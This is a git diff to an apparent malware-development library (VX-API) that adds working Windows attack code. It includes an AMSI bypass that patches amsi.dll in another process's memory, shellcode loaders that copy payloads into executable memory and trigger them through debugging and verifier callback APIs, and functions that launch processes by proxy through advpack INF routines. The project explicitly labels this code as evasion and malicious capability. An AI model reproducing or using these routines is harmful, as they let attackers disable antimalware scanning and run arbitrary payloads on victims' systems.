diff --git a/README.md b/README.md index 6fb846b..4d8bdbc 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.642 +Version: 2.0.658 Developer: smelly__vx @@ -99,6 +99,10 @@ You're free to use this in any manner you please. You do not need to use this en | RemoveRegisterDllNotification | Rad98, Peter Winter-Smith | Evasion | | CreateProcessByWindowsRHotKey | smelly__vx | Evasion | | CreateProcessByWindowsRHotKeyEx | smelly__vx | Evasion | +| AmsiBypassViaPatternScan | ZeroMemoryEx | Evasion | +| CopyFileViaSetupCopyFile | smelly__vx | Evasion | +| CreateProcessFromINFSectionInstallStringNoCab | smelly__vx | Evasion | +| CreateProcessFromINFSetupCommand | smelly__vx | Evasion | | GetCurrentLocaleFromTeb | 3xp0rt | Fingerprinting | | GetNumberOfLinkedDlls | smelly__vx | Fingerprinting | | GetOsBuildNumberFromPeb | smelly__vx | Fingerprinting | @@ -204,6 +208,8 @@ You're free to use this in any manner you please. You do not need to use this en | MpfSceViaClusWorkerCreate | alfarom256, aahmad097, wra7h | Malcode | | MpfSceViaSymEnumProcesses | alfarom256, aahmad097, wra7h | Malcode | | MpfSceViaImageGetDigestStream | alfarom256, aahmad097, wra7h | Malcode | +| MpfSceViaVerifierEnumerateResource | alfarom256, aahmad097, wra7h | Malcode | +| MpfSceViaSymEnumSourceFiles | alfarom256, aahmad097, wra7h | Malcode | | MpfComMonitorChromeSessionOnce | smelly__vx | Malcode | | MpfExecute64bitPeBinaryInMemoryFromByteArrayNoReloc | aaaddress1 | Malcode | | MpfLolExecuteRemoteBinaryByAppInstaller | Wade Hickey | Malcode | diff --git a/VX-API/AmsiBypassViaPatternScan.cpp b/VX-API/AmsiBypassViaPatternScan.cpp new file mode 100644 index 0000000..f63db54 --- /dev/null +++ b/VX-API/AmsiBypassViaPatternScan.cpp @@ -0,0 +1,70 @@ +#include "Win32Helper.h" + +typedef HRESULT(WINAPI* AMSIOPENSESSION)(HAMSICONTEXT, HAMSISESSION*); + +BYTE AmsiPattern[] = { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33 }; +UCHAR AmsiPatch[] = { 0xeb }; + +ULONGLONG UnusedSubroutineSearchAmsiPattern(PBYTE Address, DWORD Size, PBYTE Pattern, DWORD PatternSize) +{ + for (DWORD dwX = 0; dwX < 1024; dwX++) + { + if (Address[dwX] == Pattern[0]) + { + DWORD dwOffset = 1; + while (dwOffset < PatternSize && dwX + dwOffset < Size && (Pattern[dwOffset] == '?' || Address[dwX + dwOffset] == Pattern[dwOffset])) + { + dwOffset++; + } + + if (dwOffset == PatternSize) + return (dwX + 3); + } + } + + return 0; +} + +BOOL AmsiBypassViaPatternScan(DWORD ProcessId) +{ + HANDLE hProcess = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + AMSIOPENSESSION pfnAmsiOpenSession = NULL; + BYTE AmsiBuffer[1024] = { 0 }; + ULONGLONG AmsiAddress = 0LL, PatchedAmsiAddress = 0LL; + + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); + if (hProcess == NULL) + goto EXIT_ROUTINE; + + hMod = LoadLibraryW(L"amsi.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + pfnAmsiOpenSession = (AMSIOPENSESSION)GetProcAddressA((DWORD64)hMod, "AmsiOpenSession"); + if (!pfnAmsiOpenSession) + goto EXIT_ROUTINE; + + if (!ReadProcessMemory(hProcess, pfnAmsiOpenSession, &AmsiBuffer, 1024, NULL)) + goto EXIT_ROUTINE; + + AmsiAddress = UnusedSubroutineSearchAmsiPattern(AmsiBuffer, sizeof(AmsiBuffer), AmsiPattern, sizeof(AmsiPattern)); + if (AmsiAddress == 0) + goto EXIT_ROUTINE; + + PatchedAmsiAddress = (ULONGLONG)pfnAmsiOpenSession; + PatchedAmsiAddress += AmsiAddress; + + if (!WriteProcessMemory(hProcess, (LPVOID)PatchedAmsiAddress, AmsiPatch, 1, NULL)) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hProcess) + CloseHandle(hProcess); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/CopyFileViaSetupCopyFile.cpp b/VX-API/CopyFileViaSetupCopyFile.cpp new file mode 100644 index 0000000..784240b --- /dev/null +++ b/VX-API/CopyFileViaSetupCopyFile.cpp @@ -0,0 +1,21 @@ +#include "Win32Helper.h" + +BOOL CopyFileViaSetupCopyFileW(LPCWSTR Source, LPCWSTR Destination) +{ + return SetupDecompressOrCopyFileW(Source, Destination, FILE_COMPRESSION_NONE); +} + +BOOL CopyFileViaSetupCopyFileA(LPCSTR Source, LPCSTR Destination) +{ + WCHAR wSource[MAX_PATH * sizeof(WCHAR)] = { 0 }; + WCHAR wDestination[MAX_PATH * sizeof(WCHAR)] = { 0 }; + + if (CharStringToWCharString(wSource, (PCHAR)Source, StringLengthA(Source) * sizeof(WCHAR)) == 0) + return FALSE; + + if (CharStringToWCharString(wDestination, (PCHAR)Destination, StringLengthA(Destination) * sizeof(WCHAR)) == 0) + return FALSE; + + return SetupDecompressOrCopyFileW(wSource, wDestination, FILE_COMPRESSION_NONE); +} + diff --git a/VX-API/CreateProcessFromINFSectionInstallStringNoCab.cpp b/VX-API/CreateProcessFromINFSectionInstallStringNoCab.cpp new file mode 100644 index 0000000..64fc4d2 --- /dev/null +++ b/VX-API/CreateProcessFromINFSectionInstallStringNoCab.cpp @@ -0,0 +1,115 @@ +#include "Win32Helper.h" + +/* + +Example .inf file +_______________ +/////////////// +‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ +[version] +signature = $Chicago$ +AdvancedInf = 2.5 + +[DefaultInstall_SingleUser] +RunPostSetupCommands = Tag1 + +[Tag1] +C:\Windows\system32\calc.exe +_______________ +/////////////// +‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ +*/ + +BOOL CreateProcessFromINFSectionInstallStringNoCabW(LPCWSTR PathToInfFile, LPCWSTR NameOfSection) +{ + typedef HRESULT(WINAPI* LAUNCHINFSECTIONW)(HWND, HINSTANCE, PWSTR, INT); + LAUNCHINFSECTIONW LaunchINFSectionW = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + WCHAR InfExecutionBuffer[MAX_PATH * 2] = { 0 }; + + hMod = LoadLibraryW(L"advpack.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + LaunchINFSectionW = (LAUNCHINFSECTIONW)GetProcAddressA((DWORD64)hMod, "LaunchINFSectionW"); + if (!LaunchINFSectionW) + goto EXIT_ROUTINE; + + if (StringCopyW(InfExecutionBuffer, PathToInfFile) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, NameOfSection) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L"1") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L",") == NULL) + goto EXIT_ROUTINE; + + if (!SUCCEEDED(LaunchINFSectionW(NULL, NULL, InfExecutionBuffer, 0))) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} + +BOOL CreateProcessFromINFSectionInstallStringNoCabA(LPCSTR PathToInfFile, LPCSTR NameOfSection) +{ + typedef HRESULT(WINAPI* LAUNCHINFSECTION)(HWND, HINSTANCE, PSTR, INT); + LAUNCHINFSECTION LaunchINFSection = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + CHAR InfExecutionBuffer[MAX_PATH * 2] = { 0 }; + + hMod = LoadLibraryW(L"advpack.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + LaunchINFSection = (LAUNCHINFSECTION)GetProcAddressA((DWORD64)hMod, "LaunchINFSection"); + if (!LaunchINFSection) + goto EXIT_ROUTINE; + + if (StringCopyA(InfExecutionBuffer, PathToInfFile) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, ",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, NameOfSection) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, ",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, "1") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, ",") == NULL) + goto EXIT_ROUTINE; + + if (!SUCCEEDED(LaunchINFSection(NULL, NULL, InfExecutionBuffer, 0))) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/CreateProcessFromINFSetupCommand.cpp b/VX-API/CreateProcessFromINFSetupCommand.cpp new file mode 100644 index 0000000..d7cd259 --- /dev/null +++ b/VX-API/CreateProcessFromINFSetupCommand.cpp @@ -0,0 +1,56 @@ +#include "Win32Helper.h" + +#define RSC_FLAG_INF 1 +#define RSC_FLAG_QUIET 4 + +BOOL CreateProcessFromINFSetupCommandW(LPCWSTR PathToInfFile, LPCWSTR NameOfSection) +{ + typedef HRESULT(WINAPI* RUNSETUPCOMMANDW)(HWND, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, PHANDLE, DWORD, LPVOID); + RUNSETUPCOMMANDW RunSetupCommandW = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + + hMod = LoadLibraryW(L"advpack.dll"); + + RunSetupCommandW = (RUNSETUPCOMMANDW)GetProcAddressA((DWORD64)hMod, "RunSetupCommandW"); + if (!RunSetupCommandW) + goto EXIT_ROUTINE; + + if (!SUCCEEDED(RunSetupCommandW(NULL, PathToInfFile, NameOfSection, L".", NULL, NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL))) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} + +BOOL CreateProcessFromINFSetupCommandA(LPCSTR PathToInfFile, LPCSTR NameOfSection) +{ + typedef HRESULT(WINAPI* RUNSETUPCOMMANDA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, PHANDLE, DWORD, LPVOID); + RUNSETUPCOMMANDA RunSetupCommandA = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + + hMod = LoadLibraryW(L"advpack.dll"); + + RunSetupCommandA = (RUNSETUPCOMMANDA)GetProcAddressA((DWORD64)hMod, "RunSetupCommandA"); + if (!RunSetupCommandA) + goto EXIT_ROUTINE; + + if (!SUCCEEDED(RunSetupCommandA(NULL, PathToInfFile, NameOfSection, ".", NULL, NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL))) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index 1644a9a..245079a 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -79,4 +79,11 @@ typedef HRESULT(WINAPI* DLLGETCLASSOBJECT)(REFCLSID, REFIID, LPVOID*); /******************************************* ADVAPI32 IMPORT *******************************************/ -typedef NTSTATUS(NTAPI* SYSTEMFUNCTION032)(PAB_STRING, PAB_STRING); \ No newline at end of file +typedef NTSTATUS(NTAPI* SYSTEMFUNCTION032)(PAB_STRING, PAB_STRING); + + + +///******************************************* +// IMAGEHLP IMPORT +//*******************************************/ +typedef BOOL(WINAPI* IMAGEGETDIGESTSTREAM)(HANDLE, DWORD, LPVOID, PHANDLE); \ No newline at end of file diff --git a/VX-API/Internal.h b/VX-API/Internal.h index 938cf09..0fd3093 100644 --- a/VX-API/Internal.h +++ b/VX-API/Internal.h @@ -65,6 +65,8 @@ #define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 #define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 +#define CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO 0x04 + typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; diff --git a/VX-API/IsPeSection.cpp b/VX-API/IsPeSection.cpp index 1cdfeb5..8d9ac3c 100644 --- a/VX-API/IsPeSection.cpp +++ b/VX-API/IsPeSection.cpp @@ -32,7 +32,7 @@ BOOL IsPeSectionW(_In_ LPCWSTR PathToBinary, _In_ LPCWSTR PeSectionName) if (Buffer == NULL) goto EXIT_ROUTINE; - if (!ReadFile(hHandle, Buffer, SizeOfTargetBinary, NULL, NULL)) + if (!ReadFile(hHandle, Buffer, (DWORD)SizeOfTargetBinary, NULL, NULL)) goto EXIT_ROUTINE; if (!RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, &Buffer)) @@ -83,7 +83,7 @@ BOOL IsPeSectionA(_In_ LPCSTR PathToBinary, _In_ LPCSTR PeSectionName) if (Buffer == NULL) goto EXIT_ROUTINE; - if (!ReadFile(hHandle, Buffer, SizeOfTargetBinary, NULL, NULL)) + if (!ReadFile(hHandle, Buffer, (DWORD)SizeOfTargetBinary, NULL, NULL)) goto EXIT_ROUTINE; if (!RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, &Buffer)) diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index 5536404..2e31987 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -2,20 +2,14 @@ INT main(VOID) { - /* - - This is stuff I was debugging. - ------------------------------------ - DWORD dwSize = 0; PCHAR Buffer = GenericShellcodeOpenCalcExitThread(&dwSize); - MpfSceViaImageGetDigestStream((PBYTE)Buffer, dwSize); + //MpfSceViaSymEnumSourceFiles((PBYTE)Buffer, dwSize); - ------------------------------------ - */ - + //BOOL bFlag = AmsiBypassViaPatternScan(4288); + CreateProcessFromINFSectionInstallStringNoCabA("C:\\Users\\dwThr\\Desktop\\demo.inf", "DefaultInstall_SingleUser"); return ERROR_SUCCESS; } diff --git a/VX-API/MpfSceViaChooseColor.cpp b/VX-API/MpfSceViaChooseColor.cpp index d500f31..fd3ca7d 100644 --- a/VX-API/MpfSceViaChooseColor.cpp +++ b/VX-API/MpfSceViaChooseColor.cpp @@ -21,4 +21,6 @@ BOOL MpfSceViaChooseColorW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes) CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes); CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeChooseColorWCallbackRoutine, BinAddress, INFINITE); + + return TRUE; } \ No newline at end of file diff --git a/VX-API/MpfSceViaImageGetDigestStream.cpp b/VX-API/MpfSceViaImageGetDigestStream.cpp index ef00b13..feba007 100644 --- a/VX-API/MpfSceViaImageGetDigestStream.cpp +++ b/VX-API/MpfSceViaImageGetDigestStream.cpp @@ -7,12 +7,22 @@ VOID InvokeImageGetDigestStreamCallbackRoutine(LPVOID lpParameter) WCHAR DefaultBinaryPath[MAX_PATH * sizeof(WCHAR)] = L"C:\\Windows\\System32\\ntdll.dll"; HANDLE hImage = NULL; HANDLE hDispose = NULL; + IMAGEGETDIGESTSTREAM ImageGetDigestStream = NULL; + HMODULE hMod = NULL; + + hMod = LoadLibraryW(L"Imagehlp.dll"); + if (hMod == NULL) + return; + + ImageGetDigestStream = (IMAGEGETDIGESTSTREAM)GetProcAddressA((DWORD64)hMod, "ImageGetDigestStream"); + if (!ImageGetDigestStream) + return; hImage = CreateFileW(DefaultBinaryPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hImage == INVALID_HANDLE_VALUE) return; - ImageGetDigestStream(hImage, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, (DIGEST_FUNCTION)lpParameter, &hDispose); + ImageGetDigestStream(hImage, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, lpParameter, &hDispose); if(hDispose) CloseHandle(hDispose); diff --git a/VX-API/MpfSceViaSymEnumSourceFiles.cpp b/VX-API/MpfSceViaSymEnumSourceFiles.cpp new file mode 100644 index 0000000..a30119b --- /dev/null +++ b/VX-API/MpfSceViaSymEnumSourceFiles.cpp @@ -0,0 +1,26 @@ +#include "Win32Helper.h" + +VOID InvokeSymEnumSourceFilesCallbackRoutine(LPVOID lpParameter) +{ + if (!SymInitializeW(GetCurrentProcess(), NULL, TRUE)) + return; + + SymEnumSourceFilesW(GetCurrentProcess(), NULL, NULL, (PSYM_ENUMSOURCEFILES_CALLBACKW)lpParameter, NULL); + + SymCleanup(GetCurrentProcess()); +} + +BOOL MpfSceViaSymEnumSourceFiles(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes) +{ + LPVOID BinAddress = NULL; + + BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + return FALSE; + + CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes); + + CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeSymEnumSourceFilesCallbackRoutine, BinAddress, INFINITE); + + return TRUE; +} \ No newline at end of file diff --git a/VX-API/MpfSceViaVerifierEnumerateResource.cpp b/VX-API/MpfSceViaVerifierEnumerateResource.cpp new file mode 100644 index 0000000..02def6a --- /dev/null +++ b/VX-API/MpfSceViaVerifierEnumerateResource.cpp @@ -0,0 +1,37 @@ +#include "Win32Helper.h" + + +VOID InvokeVerifierEnumerateResourceCallbackRoutine(LPVOID lpParameter) +{ + typedef ULONG(NTAPI* AVRF_RESOURCE_ENUMERATE_CALLBACK)(PVOID ResourceDescription, PVOID EnumerationContext, PULONG EnumerationLevel); + typedef ULONG(WINAPI* VERIFIERENUMERATERESOURCE)(HANDLE, ULONG, ULONG, AVRF_RESOURCE_ENUMERATE_CALLBACK, PVOID); + VERIFIERENUMERATERESOURCE VerifierEnumerateResource = NULL; + HMODULE hMod = NULL; + + hMod = LoadLibraryW(L"verifier.dll"); + if (hMod == NULL) + return; + + VerifierEnumerateResource = (VERIFIERENUMERATERESOURCE)GetProcAddressA((DWORD64)hMod, "VerifierEnumerateResource"); + if (!VerifierEnumerateResource) + return; + + VerifierEnumerateResource(GetCurrentProcess(), NULL, 0, (AVRF_RESOURCE_ENUMERATE_CALLBACK)lpParameter, NULL); + + return; +} + +BOOL MpfSceViaVerifierEnumerateResource(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes) +{ + LPVOID BinAddress = NULL; + + BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + return FALSE; + + CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes); + + CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeVerifierEnumerateResourceCallbackRoutine, BinAddress, INFINITE); + + return TRUE; +} \ No newline at end of file diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 86d8857..e347b34 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -135,6 +135,7 @@ + @@ -144,6 +145,7 @@ + @@ -152,6 +154,8 @@ + + @@ -303,6 +307,8 @@ + + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 6bc8c59..d809b32 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -753,6 +753,24 @@ Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution + + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution + + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Evasion + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 5db3755..3ef68a8 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -3,8 +3,7 @@ #include "StringManipulation.h" #include "FunctionDeclaration.h" #include -#include -//#include +#include #include #include #include @@ -21,14 +20,15 @@ #include #include #include +#include +#include #pragma comment(lib, "Dnsapi.lib") #pragma comment(lib, "Iphlpapi.lib") #pragma comment(lib, "Crypt32.lib") -#pragma comment(lib, "Imagehlp.lib") -//#pragma comment(lib, "Dbghelp.lib") +#pragma comment(lib, "Dbghelp.lib") #pragma comment(lib, "Wtsapi32.lib") #pragma comment(lib, "Urlmon.lib") #pragma comment(lib, "PowrProf.lib") @@ -37,7 +37,7 @@ #pragma comment(lib, "Comctl32.lib") #pragma comment(lib, "Wevtapi.lib") #pragma comment(lib, "ResUtils.lib") - +#pragma comment(lib, "Setupapi.lib") #ifndef NT_SUCCESS @@ -322,6 +322,8 @@ BOOL MpfSceViaChooseColorW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes); BOOL MpfSceViaClusWorkerCreate(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes); BOOL MpfSceViaSymEnumProcesses(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes); BOOL MpfSceViaImageGetDigestStream(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes); +BOOL MpfSceViaVerifierEnumerateResource(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes); +BOOL MpfSceViaSymEnumSourceFiles(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes); @@ -355,6 +357,13 @@ DWORD CreateProcessByWindowsRHotKeyW(_In_ PWCHAR FullPathToBinary); DWORD CreateProcessByWindowsRHotKeyA(_In_ PCHAR FullPathToBinary); DWORD CreateProcessByWindowsRHotKeyExW(_In_ PWCHAR FullPathToBinary); DWORD CreateProcessByWindowsRHotKeyExA(_In_ PCHAR FullPathToBinary); +BOOL AmsiBypassViaPatternScan(DWORD ProcessId); +BOOL CopyFileViaSetupCopyFileW(LPCWSTR Source, LPCWSTR Destination); +BOOL CopyFileViaSetupCopyFileA(LPCSTR Source, LPCSTR Destination); +BOOL CreateProcessFromINFSectionInstallStringNoCabW(LPCWSTR PathToInfFile, LPCWSTR NameOfSection); +BOOL CreateProcessFromINFSectionInstallStringNoCabA(LPCSTR PathToInfFile, LPCSTR NameOfSection); +BOOL CreateProcessFromINFSetupCommandW(LPCWSTR PathToInfFile, LPCWSTR NameOfSection); +BOOL CreateProcessFromINFSetupCommandA(LPCSTR PathToInfFile, LPCSTR NameOfSection);